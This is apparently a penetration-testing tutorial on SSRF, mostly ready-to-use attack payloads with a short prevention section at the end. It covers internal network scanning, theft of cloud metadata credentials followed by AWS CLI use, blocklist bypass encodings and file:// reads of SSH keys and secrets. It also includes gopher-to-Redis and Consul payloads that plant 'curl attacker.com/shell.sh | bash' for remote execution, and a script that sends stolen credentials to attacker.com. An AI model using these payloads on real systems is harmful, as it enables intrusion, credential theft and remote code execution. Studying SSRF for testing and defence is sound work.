1. Internal Network Scanning via SSRF

When a parameter like url=, imageUrl=, or webhook= is processed server-side without validation, the application becomes an HTTP proxy. The first goal is mapping the internal network — discovering which RFC-1918 addresses are alive and which ports are open — entirely through the application's response.

Timing-Based Port Discovery

Even when the application returns a generic error for all failures, TCP connection refused (closed port) returns almost instantly while a timeout (filtered port or live host with no service) takes several seconds. Use that delta to fingerprint open ports.

Technique 01 Enumerate internal subnets — timing oracle

Send requests for every host in the 10.0.0.0/24 range. Open ports respond in <50 ms; filtered ranges timeout after 5–30 s.

# Intruder payload — iterate host last octet 1-254
POST /api/fetch HTTP/1.1
Host: target.com
Content-Type: application/json

{"url": "http://10.0.0.§1§:6379/"}

# Grep response time column in Burp — sub-100 ms = open
# 6379 = Redis  5432 = PostgreSQL  9200 = Elasticsearch

Common high-value internal ports to enumerate:

22    SSH
80/8080/8443  Internal HTTP admin panels
2375  Docker daemon (unauthenticated API)
4001  etcd HTTP API
5432  PostgreSQL
6379  Redis (no auth by default)
8500  Consul HTTP API
9200  Elasticsearch
11211 Memcached
27017 MongoDB

Response-Content Fingerprinting

When you can read partial HTTP responses, fingerprint services by their banners. Redis returns -ERR wrong number of arguments on a bad HTTP request. Elasticsearch returns JSON. Consul returns HTML with "Consul" in the title.

POST /fetch HTTP/1.1
Host: target.com

url=http://10.0.0.23:9200/

--- Response (reflected) ---
{
  "name": "internal-node-01",
  "cluster_name": "prod-cluster",
  "version": { "number": "7.17.3" }
}

2. Cloud Metadata Exploitation

Cloud provider metadata services sit at well-known link-local addresses. They return instance identity, temporary IAM credentials, SSH keys, and startup scripts. They require no authentication — only that the request originates from within the instance. SSRF hands that origin to the attacker.

AWS IMDSv1 — Full Credential Extraction

Critical: IMDSv1 requires no token. A single SSRF call reaches it. IMDSv2 adds a PUT-based token step, but many apps still run IMDSv1 or have IMDSv2 misconfigured as optional.
# Step 1: List IAM roles attached to the instance
url=http://169.254.169.254/latest/meta-data/iam/security-credentials/

--- Response ---
prod-ec2-role

# Step 2: Fetch credentials for that role
url=http://169.254.169.254/latest/meta-data/iam/security-credentials/prod-ec2-role

--- Response ---
{
  "Code"          : "Success",
  "Type"          : "AWS-HMAC",
  "AccessKeyId"   : "ASIA3XEXAMPLEKEY1",
  "SecretAccessKey": "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY",
  "Token"         : "AQoXnyc4lcK4w...",
  "Expiration"    : "2026-05-26T18:00:00Z"
}

Use those credentials immediately with the AWS CLI before they rotate:

AWS_ACCESS_KEY_ID=ASIA3XEXAMPLEKEY1 \
AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI/... \
AWS_SESSION_TOKEN=AQoXnyc4... \
aws s3 ls --region us-east-1

aws iam get-user
aws sts get-caller-identity

Other Valuable AWS Metadata Paths

# User-data — often contains secrets, init scripts, DB passwords
http://169.254.169.254/latest/user-data

# All metadata tree
http://169.254.169.254/latest/meta-data/

# Instance identity document (account ID, region, instance ID)
http://169.254.169.254/latest/dynamic/instance-identity/document

# IMDSv2 — requires PUT first (sometimes bypassable via HTTP/1.0)
PUT http://169.254.169.254/latest/api/token
X-aws-ec2-metadata-token-ttl-seconds: 21600
# Returns: TOKEN_VALUE
GET http://169.254.169.254/latest/meta-data/iam/security-credentials/
X-aws-ec2-metadata-token: TOKEN_VALUE

GCP Metadata Service

# GCP requires the Metadata-Flavor: Google header — but SSRF can add headers
url=http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
# (header injection needed: Metadata-Flavor: Google)

# Via numeric IP (same host)
url=http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token

# Service account token response:
{
  "access_token": "ya29.c.c0ASRK0Gb...",
  "expires_in": 3599,
  "token_type": "Bearer"
}

# SSH keys, project metadata
http://metadata.google.internal/computeMetadata/v1/project/attributes/ssh-keys
http://metadata.google.internal/computeMetadata/v1/instance/attributes/

Azure IMDS

# Azure requires api-version query param; no special header
url=http://169.254.169.254/metadata/instance?api-version=2021-02-01
# Header needed: Metadata: true — inject via SSRF if possible

# Managed identity token — used to access Azure resources
url=http://169.254.169.254/metadata/identity/oauth2/token
     ?api-version=2021-02-01&resource=https://management.azure.com/

# Returns access token with scope over all Azure ARM resources

3. SSRF Filter Bypass Techniques

Naive blocklists check for 127.0.0.1, localhost, and 169.254.169.254 as literal strings. Every technique below resolves to the same address while evading string matching.

IP Encoding Alternatives

# Decimal notation — 127.0.0.1 as a 32-bit integer
http://2130706433/

# Octal notation
http://0177.0.0.1/
http://0177.0.0.01/

# Hexadecimal notation
http://0x7f000001/
http://0x7f.0x00.0x00.0x01/

# Mixed encoding
http://0x7f.0.0.1/
http://127.0x0.0.1/

# IPv6 loopback
http://[::1]/
http://[0:0:0:0:0:0:0:1]/
http://[::ffff:127.0.0.1]/

# Short-form IPv4
http://127.1/
http://127.0.1/

# URL-encoded dots
http://127%2e0%2e0%2e1/

# Double URL encoding
http://127%252e0%252e0%252e1/

DNS-Based Bypasses

# nip.io / sslip.io — wildcard DNS resolving to embedded IP
http://127.0.0.1.nip.io/
http://169.254.169.254.nip.io/
http://127-0-0-1.nip.io/

# Own DNS record pointing to 127.0.0.1
# Set an A record: ssrf.masaaki.tech → 169.254.169.254
http://ssrf.masaaki.tech/latest/meta-data/

# DNS rebinding — first resolution returns legit IP (passes allowlist),
# second resolution (during connection) returns 127.0.0.1
# Tool: singularity.me or DNSrebinder

Open Redirect Chain

If the application's blocklist validates the initial URL but follows redirects, chain through an open redirect on an allowed domain:

# Application allows URLs under *.trusted-partner.com
url=https://trusted-partner.com/redirect?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/

# Application follows the 302, reaching the metadata service
# The blocklist check only saw trusted-partner.com

# Works with any open redirect:
url=https://accounts.google.com/o/oauth2/auth?redirect_uri=http://169.254.169.254%2f..
url=https://target.com/logout?next=http://169.254.169.254/

Protocol-Level Tricks

# Credentials in URL (some parsers strip the blocklist check)
http://[email protected]/

# Fragment ignored by some validators
http://169.254.169.254#.expected-host.com/

# Port in hostname confuses naive parsers
http://169.254.169.254:[email protected]/

# Scheme variations
https://169.254.169.254/  (if TLS is not verified server-side)

4. Blind SSRF — Out-of-Band Detection

In blind SSRF the application makes the request but returns no part of the response to the user. Detection relies entirely on out-of-band channels: DNS lookups, HTTP callbacks, and timing differences. Burp Collaborator (or interactsh / canarytokens.org) provides a unique subdomain that logs every DNS query and HTTP request that hits it.

Technique 02 Blind SSRF — Burp Collaborator DNS/HTTP ping
POST /api/webhook/test HTTP/1.1
Host: target.com
Content-Type: application/json

{
  "callbackUrl": "http://r7k2z9x8abcd.oastify.com/"
}

--- Collaborator receives ---
DNS:  r7k2z9x8abcd.oastify.com from 54.203.xx.xx  (target's egress IP)
HTTP: GET / HTTP/1.1  Host: r7k2z9x8abcd.oastify.com
      User-Agent: Apache-HttpClient/4.5.13

This confirms SSRF exists. Now pivot to internal addresses using the same parameter — you won't see responses, but DNS callbacks tell you which hostnames resolve and HTTP callbacks confirm which ports are open.

Chaining Blind SSRF into Data Exfiltration

For services with partial data in DNS names (limited to 63 chars per label), encode file contents as subdomains:

# External DTD / SSRF payload that exfiltrates via DNS label
# (covered in depth in the XXE post — same OOB principle applies)

# For HTTP-capable blind SSRF, exfiltrate via path:
url=http://$(cat /etc/passwd | base64 | tr -d '\n').oastify.com/

# When exploiting cloud metadata blind:
url=http://169.254.169.254/latest/meta-data/iam/security-credentials/
# No response — but confirm it with Collaborator by redirecting:
url=http://169.254.169.254.r7k2z9x8abcd.oastify.com/latest/meta-data/

Using interactsh (Open Source Collaborator Alternative)

# Self-hosted or use interact.sh
./interactsh-client -server https://interact.sh

# You get a unique ID, e.g.: abcdef1234.interact.sh
# Inject into every SSRF candidate parameter in your test:
url=http://abcdef1234.interact.sh
imageUrl=http://abcdef1234.interact.sh/img.png
webhookEndpoint=http://abcdef1234.interact.sh/webhook

5. Blind SSRF via Referer Header

Many analytics pipelines and logging services fetch the Referer URL to record page metadata — title, favicon, screenshot. If the analytics backend makes an outbound request to every Referer it receives, that backend is vulnerable to SSRF through the Referer header of any normal request.

Technique 03 Referer-triggered SSRF via analytics backend
GET /product/123 HTTP/1.1
Host: target.com
Referer: http://r7k2z9x8abcd.oastify.com/analytics-test
Cookie: session=masaaki_session_token

--- Collaborator receives DNS + HTTP from target's analytics server ---
DNS:  r7k2z9x8abcd.oastify.com  from 10.0.1.55  (internal analytics host!)
HTTP: GET /analytics-test HTTP/1.1
      Host: r7k2z9x8abcd.oastify.com
      User-Agent: python-requests/2.28.0

Now pivot using Referer to hit internal services. The analytics server is making the request from inside the network, bypassing all edge WAFs:

GET /product/123 HTTP/1.1
Host: target.com
Referer: http://169.254.169.254/latest/meta-data/iam/security-credentials/

# If analytics stores/displays fetched page titles, credentials
# may appear in an admin dashboard panel

6. SSRF via URL in XML / JSON Body

Webhook Endpoints

Any feature that "notifies your endpoint" or "verifies your server" is a webhook. The server makes an outbound HTTP request to a URL you supply. Always test these for SSRF — the intended functionality is exactly the vulnerability surface.

POST /integrations/webhook/create HTTP/1.1
Host: target.com
Content-Type: application/json
Cookie: session=masaaki_session_token

{
  "name": "test-hook",
  "url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/",
  "events": ["order.created"]
}

Document / URL Fetchers

Import-from-URL features (import CSV from URL, fetch Open Graph data, generate PDF from URL) are high-probability SSRF vectors. The URL is passed to a server-side HTTP client with no user-facing reason to restrict it to external hosts.

POST /documents/import HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded

url=http%3A%2F%2F169.254.169.254%2Flatest%2Fuser-data

SSRF via XML Body (XXE Adjacent)

Some document processing endpoints accept raw XML where URLs are embedded in attributes or text nodes:

<?xml version="1.0"?>
<sitemap>
  <url>
    <loc>http://169.254.169.254/latest/meta-data/</loc>
  </url>
</sitemap>

SSRF via JSON — Imageproxy / Thumbnail Services

POST /api/v2/thumbnail HTTP/1.1
Host: target.com
Content-Type: application/json

{
  "source": "http://internal-service.local/admin/",
  "width": 800,
  "height": 600
}

7. SSRF to RCE — Hitting Internal Admin Interfaces

Once you establish SSRF, the next escalation is using it to interact with internal services that trust any request from localhost. Several common services expose unauthenticated admin APIs on localhost-only ports.

Redis — SSRF to RCE via Gopher Protocol

The gopher:// protocol lets you send raw TCP payloads. Redis speaks a simple text protocol. Combined: SSRF + gopher:// = arbitrary Redis commands, including writing a cron job or SSH authorized_keys file to disk.

Technique 04 SSRF → Redis → write cron job → RCE
# Raw Redis commands to write a cron job
# (URL-encoded gopher payload)

url=gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2459%0D%0A%0A%0A%2F1+%2A+%2A+%2A+%2A+root+curl+http%3A%2F%2Fattacker.com%2Fshell.sh+|+bash%0A%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2416%0D%0A%2Fvar%2Fspool%2Fcron%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%244%0D%0Aroot%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A

# Decoded Redis commands sent:
FLUSHALL
SET 1 "\n\n/1 * * * * root curl http://attacker.com/shell.sh | bash\n\n\n"
CONFIG SET dir /var/spool/cron
CONFIG SET dbfilename root
SAVE

Elasticsearch — Data Exfiltration via SSRF

# List all indices
url=http://10.0.0.5:9200/_cat/indices?v

# Dump users index
url=http://10.0.0.5:9200/users/_search?size=100

# Delete data (destructive — PoC only)
url=http://10.0.0.5:9200/users  (method: DELETE via SSRF if method is forwarded)

Consul — RCE via Service Registration

# Consul 8500 — register a service with a health check script
url=http://127.0.0.1:8500/v1/agent/service/register

# Body (if SSRF supports POST bodies via gopher or SSRF in PUT/POST):
{
  "ID": "pwned",
  "Name": "pwned",
  "Check": {
    "DeregisterCriticalServiceAfter": "90m",
    "Args": ["/bin/bash", "-c", "curl http://attacker.com/shell.sh | bash"],
    "Interval": "10s"
  }
}

8. SSRF to Read Local Files via file://

When the application's HTTP client is not restricted to http/https schemes, the file:// protocol reads arbitrary local files. This turns SSRF into a full local file read vulnerability.

# Read /etc/passwd
url=file:///etc/passwd

# Read SSH private keys
url=file:///home/ubuntu/.ssh/id_rsa
url=file:///root/.ssh/id_rsa

# Application secrets / config files
url=file:///app/config/database.yml
url=file:///var/www/html/.env
url=file:///etc/nginx/nginx.conf
url=file:///proc/self/environ    # Process environment variables
url=file:///proc/self/cmdline    # Command-line args (reveals app path)

# Cloud: instance profile from filesystem
url=file:///run/secrets/kubernetes.io/serviceaccount/token  # K8s service account JWT
Note: PHP's allow_url_fopen and Java's URL class both support file:// by default. Python's urllib and requests do not support file:// unless explicitly patched in. Always test — behaviour varies per stack.

9. SSRF in PDF / HTML Rendering Engines

Server-side PDF and screenshot generators (wkhtmltopdf, Puppeteer, PhantomJS, Prince, Headless Chrome) render HTML/CSS including JavaScript. If user-controlled data reaches the rendered content, every SSRF and local file read primitive is available inside the rendered page.

Technique 05 wkhtmltopdf SSRF via iframe injection
# Application: POST /reports/generate with a template parameter
POST /reports/generate HTTP/1.1
Host: target.com
Content-Type: application/json

{
  "title": "<iframe src='http://169.254.169.254/latest/meta-data/iam/security-credentials/'></iframe>"
}

# wkhtmltopdf renders the iframe, fetches the metadata URL,
# and the credentials appear as text inside the returned PDF

Headless Chrome / Puppeteer — JavaScript-Enabled SSRF

# With JS execution, use XMLHttpRequest or fetch():
<script>
  fetch('http://169.254.169.254/latest/meta-data/iam/security-credentials/')
    .then(r => r.text())
    .then(d => fetch('http://attacker.com/exfil?d=' + btoa(d)));
</script>

# Read local files via XMLHttpRequest (if file:// scheme enabled)
<script>
  var x = new XMLHttpRequest();
  x.open('GET','file:///etc/passwd', false);
  x.send();
  document.write(x.responseText);
</script>

Server-Side XSS → SSRF Identification Pattern

Look for these features as PDF/screenshot SSRF vectors:

# Feature patterns that likely use a headless browser:
- "Export as PDF" / "Download report"
- "Generate invoice"
- "Preview email template"
- "Share page as image" / "Screenshot"
- "Import from URL" (fetches and renders remote HTML)
- CV/resume builders that generate PDFs from user input

10. Prevention & Mitigations

Allowlist over blocklist

Define an explicit allowlist of approved destination hostnames and schemes. Reject anything not on it. Blocklists of IPs and hostnames are inevitably bypassed via encoding, DNS rebinding, or open redirects.

Resolve & re-validate after DNS

Resolve the hostname to IP before making the request, then validate that the resolved IP is not RFC-1918, link-local (169.254.0.0/16), or loopback. Re-check after every redirect. This defeats DNS rebinding.

Disable unnecessary URL schemes

Explicitly permit only https://. Block file://, gopher://, dict://, ftp://, ldap://, and sftp:// at the HTTP client configuration level.

Use IMDSv2 + hop limit

Enforce AWS IMDSv2 (PUT-first token) on all EC2 instances. Set the metadata hop-limit to 1 so container-escaping SSRF cannot reach it. On GCP/Azure, restrict metadata API access via network policy.

Network segmentation

Application servers should not have direct network access to Redis, Elasticsearch, Consul, or database ports. Use strict security groups / firewall rules so that even a successful SSRF cannot reach sensitive internal services.

Egress filtering

Route all outbound traffic through an egress proxy with an allowlist. Log all outbound connections. Alert on unexpected destinations. This limits attacker data exfiltration even when SSRF is exploited.

Testing Checklist: Every parameter accepting a URL, every webhook configuration field, every "import from URL" feature, every image-source parameter, every PDF export with user content, and every Referer header consumer is a potential SSRF surface. Test all of them with Collaborator/interactsh before testing any actual internal targets.